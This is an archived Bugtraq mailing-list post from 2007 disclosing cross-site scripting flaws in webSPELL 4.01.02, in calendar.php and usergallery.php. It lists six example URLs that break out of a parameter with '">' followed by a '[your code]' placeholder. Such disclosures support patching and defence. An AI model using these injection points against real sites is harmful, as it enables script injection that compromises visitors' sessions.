bugtraq - webSPELL 4.01.02 (calendar.php, usergallery.php) XSS Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 8 Dec 2007 22:53:59 -0000
From: brainheadbrainhead@....de
To: bugtraq@...urityfocus.com
Subject: webSPELL 4.01.02 (calendar.php, usergallery.php) XSS Vulnerability

###################
Autor: Brainhead	                                           	
Type: XSS                                                   
Version:  4.01.02                               
Files: usergallery.php, calendar.php                        
Magic Quotes :off                                         
###################
Examples:

http://site.tld/[PATH]/index.php?site=usergallery&action=upload&galleryID=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&upID=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&tag=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&month=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&userID=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&year=">[your code]